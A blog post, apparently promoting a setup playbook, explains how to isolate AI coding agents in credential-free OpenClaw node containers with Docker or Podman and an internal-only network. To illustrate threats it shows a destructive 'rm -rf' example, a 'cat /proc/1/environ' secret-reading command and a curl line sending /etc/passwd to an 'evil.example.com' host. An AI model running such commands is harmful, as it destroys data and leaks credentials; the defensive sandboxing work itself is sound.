All posts
2026-03-218 min

OpenClaw Nodes: Running Agent Workloads in Isolated Containers Without a Gateway Connection

NodesSecurityDockerSandboxOpenClaw

The Tweet That Started This

Yesterday a comment appeared on X that immediately sparked discussion in our team:

> *"You can have your agents execute working on a openclaw node where is no openclaw.json connected to the gateway. I have set this up with podman containers within same network, its quite fun and should solve your problems. An agent within a node container even being root can't do…"*

The tweet unfortunately cuts off — but the concept behind it is exactly right, and it solves a real problem: what happens when an agent executes code that's potentially destructive?

This post explains the Nodes concept, why it's more secure than the default approach, and how we set it up for Peter's code execution tasks.

---

The Problem: Code Execution Is Always a Risk

Coding agents like Peter need shell access. That's necessary — how is an agent supposed to test code without executing commands?

The default setup: the agent runs connected to the OpenClaw Gateway. It has access to the workspace, to `~/.openclaw/`, to installed skills, to environment variables containing API keys.

A poorly phrased prompt, an injected command in a test file, or simply a bug in the agent code — and suddenly `rm -rf ~/.openclaw/` is running, or the agent reads the `.env` with all API keys.

This isn't theoretical. These are real attack vectors.

---

The Solution: OpenClaw Nodes as Execution Sandboxes

OpenClaw Nodes are standalone execution environments that connect to the Gateway — but have no Gateway configuration of their own. They are `openclaw.json`-less shells.

Concretely that means:

  • The node knows no API keys (no `.env` from the main system)
  • The node has no access to the agent's MEMORY.md or SOUL.md
  • The node cannot open new channels or send messages
  • The node has no access to workspace files outside its mount
  • An agent running as root inside a node container can:

  • Read and write files in the mounted project directory ✅
  • Execute shell commands ✅
  • Run tests ✅
  • But it CANNOT:

  • Access the agent's main workspace ❌
  • Read the Gateway configuration ❌
  • Extract API keys or secrets ❌
  • Affect other agents ❌
  • This is container isolation with an additional concept: Gateway decoupling.

    ---

    How Nodes Work Technically

    An OpenClaw Node registers with the Gateway without being a Gateway itself. The workflow looks like this:

    ```

    Gateway (Sam's Container)

    ├── receives task: "Run tests for PR #201"

    └── delegates to Node: execute_in_node(container="peter-sandbox", command="bun test")

    └── peter-sandbox Container

    - no ~/.openclaw/openclaw.json

    - no .env with secrets

    - only /project (read-write mount)

    - executes command, returns output

    ```

    The key: the node container has no `openclaw.json`. It's not a standalone agent instance — it's an executing arm that receives commands and returns results.

    ---

    Setup: Node Container with Podman (or Docker)

    The setup is simpler than it sounds. We show it with Docker, but Podman works identically (and actually has better rootless support):

    Step 1: Prepare the Node Container Image

    ```dockerfile

    # Dockerfile.node-sandbox

    FROM node:22-slim

    # Install base tools

    RUN apt-get update && apt-get install -y git curl && rm -rf /var/lib/apt/lists/*

    # Install Bun

    RUN curl -fsSL https://bun.sh/install | bash

    ENV PATH="/root/.bun/bin:$PATH"

    # OpenClaw Node binary

    RUN npm install -g openclaw@latest

    # IMPORTANT: No COPY of openclaw.json or .env

    # The container only gets the project mounted

    WORKDIR /project

    # Node registration on start

    CMD ["openclaw", "node", "start", "--gateway-url", "$GATEWAY_URL", "--gateway-token", "$GATEWAY_TOKEN"]

    ```

    Step 2: Extend docker-compose.yml

    ```yaml

    services:

    # Main Peter agent

    peter:

    image: openclaw/agent:latest

    volumes:

    - ./workspaces/peter:/workspace:rw

    # NO project mount here — Peter delegates to the node

    environment:

    - OPENCLAW_AGENT_NAME=peter

    env_file:

    - ./workspaces/peter/.env

    # Peter's execution sandbox

    peter-sandbox:

    build:

    context: .

    dockerfile: Dockerfile.node-sandbox

    volumes:

    # ONLY the project directory — no workspace, no .env

    - /home/sam/projects/humanizing-agents-monorepo:/project:rw

    environment:

    - GATEWAY_URL=http://peter:3000

    - GATEWAY_TOKEN=${PETER_SANDBOX_TOKEN}

    # NO ANTHROPIC_API_KEY, NO DISCORD_TOKEN, etc.

    networks:

    - agents-internal

    # No port exposed externally — only reachable internally

    networks:

    agents-internal:

    internal: true

    ```

    The critical part: `peter-sandbox` has no `.env` with secrets, no access to `./workspaces/peter/`. It sees only `/project`.

    Step 3: Generate a Node Token

    The node needs a token to authenticate with the Gateway. This is a separate token — not Peter's main API key:

    ```bash

    # One-time: generate a node token

    openclaw node generate-token --name "peter-sandbox"

    # → Returns a token: node_tok_xxxxx

    # Store in .env (only the Gateway needs it, not the node itself):

    echo 'PETER_SANDBOX_TOKEN=node_tok_xxxxx' >> .env

    ```

    ---

    Peter's Workflow With Node Delegation

    Once the node is running, Peter can delegate execution tasks instead of running them directly:

    ```

    # In Peter's SOUL.md:

    Code Execution Rule

    When you need to execute code or run tests:

    ALWAYS delegate via the peter-sandbox node, NEVER run directly.

    Syntax:

    nodes(action="run", node="peter-sandbox", command="bun test src/utils/")

    NEVER:

    exec(command="bun test src/utils/") ← direct shell access on main system

    ```

    In practice, a PR review looks like this:

    ```

    1. Peter reads PR diff (read-only, in own container — safe)

    2. Peter identifies changed files

    3. Peter delegates to node:

    nodes(action="run", node="peter-sandbox", command="bun test src/auth/")

    4. Node runs tests in /project mount

    5. Node returns output: "23 passing, 0 failing"

    6. Peter posts review comment on GitHub

    ```

    Peter sees the test output. The node has never seen API keys. The main system is not involved.

    ---

    What Happens If the Node Container Gets Compromised?

    That's the real question. Suppose malicious code in a test file runs `cat /proc/1/environ` — what does it see?

    In the default setup (agent running directly):

    ```

    ANTHROPIC_API_KEY=sk-ant-...

    DISCORD_TOKEN=MTIx...

    CLICKUP_API_TOKEN=pk-...

    # ... all secrets

    ```

    In the node sandbox setup:

    ```

    GATEWAY_URL=http://peter:3000

    GATEWAY_TOKEN=node_tok_xxxxx

    # That's all

    ```

    The node token is worthless without access to the network outside the `agents-internal` network. And even if the token is compromised: it can only execute commands in the node — no access to the main agent, no access to other agents.

    ---

    Network Isolation: The Second Layer of Security

    Docker networks provide a second isolation layer. In our `docker-compose.yml` we use two networks:

    ```yaml

    networks:

    agents-internal:

    internal: true # no internet access

    agents-external:

    # Normal network for agents that need external APIs

    ```

    | Container | agents-internal | agents-external |

    |-----------|----------------|----------------|

    | peter | ✅ (can communicate with node) | ✅ (needs GitHub API) |

    | peter-sandbox | ✅ (receives commands) | ❌ (no internet access) |

    The sandbox node cannot reach external APIs — even if compromised.

    This solves a subtle problem: malicious code might try to exfiltrate data to an external server (`curl https://evil.example.com/$(cat /etc/passwd)`). In the `agents-internal` network that fails — no DNS, no routing to the outside.

    ---

    Podman as an Alternative: Rootless by Default

    The tweet mentions Podman. That's a valid alternative, especially on Linux servers where rootless containers matter.

    ```bash

    # Podman alternative to our Docker setup:

    # Create a pod (equivalent to a Docker network)

    podman pod create --name agents-pod

    # Start main agent

    podman run -d --pod agents-pod --name peter -v ./workspaces/peter:/workspace:rw openclaw/agent:latest

    # Start sandbox node (rootless — no sudo needed)

    podman run -d --pod agents-pod --name peter-sandbox -v /home/sam/projects/humanizing-agents-monorepo:/project:rw --env GATEWAY_URL=http://peter:3000 --env GATEWAY_TOKEN=node_tok_xxxxx openclaw-node:latest

    ```

    Podman advantage: Containers run without root privileges on the host by default — even if the container process runs as "root," it has no host root rights. That's an additional isolation layer that Docker doesn't provide by default (without user namespaces).

    ---

    When Does the Node Pattern Make Sense?

    Not every use case needs this complexity. Our decision rule:

    Node sandbox makes sense when:

  • The agent executes external code (PR code from other developers)
  • Shell commands run with dynamic inputs
  • The agent runs as root in the container (e.g. for package installation)
  • Compliance requirements demand clear isolation
  • Direct access is fine when:

  • The agent only runs its own, fixed scripts
  • All executed commands come from trusted sources
  • The container runs non-privileged anyway
  • For Peter (reviews external code) → Node sandbox. For Sam (runs her own backup scripts) → no node needed.

    ---

    The Result in Our Setup

    Since we moved Peter's code execution to the node container:

  • No API key exposure during code execution ✅
  • No access to workspace files of other agents ✅
  • Network isolation prevents exfiltration ✅
  • Performance: no measurable overhead from delegation (~50ms additional)
  • Complexity: one extra container in docker-compose.yml — that was the entire added effort
  • The tweet from yesterday is right: "its quite fun and should solve your problems." It solves the problem. And once you understand how Nodes and Gateways work together, the setup is less complex than it looks.

    ---

    Summary: The Node Sandbox Principle

    The concept in one sentence: execution isolation through Gateway decoupling.

    The agent thinks and decides in the main container (with full credentials). It executes risky operations in the node container (without credentials). Results flow back safely.

    This isn't a workaround — it's the design that OpenClaw Nodes were built for.

    The complete configuration — Dockerfile, docker-compose.yml with network isolation, SOUL.md rules for node delegation, and the Podman alternative — is documented in the OpenClaw Setup Playbook.

    Fully available in German too. 🇩🇪

    Want to learn more?

    Our playbook contains 18 detailed chapters — available in English and German.

    Get the Playbook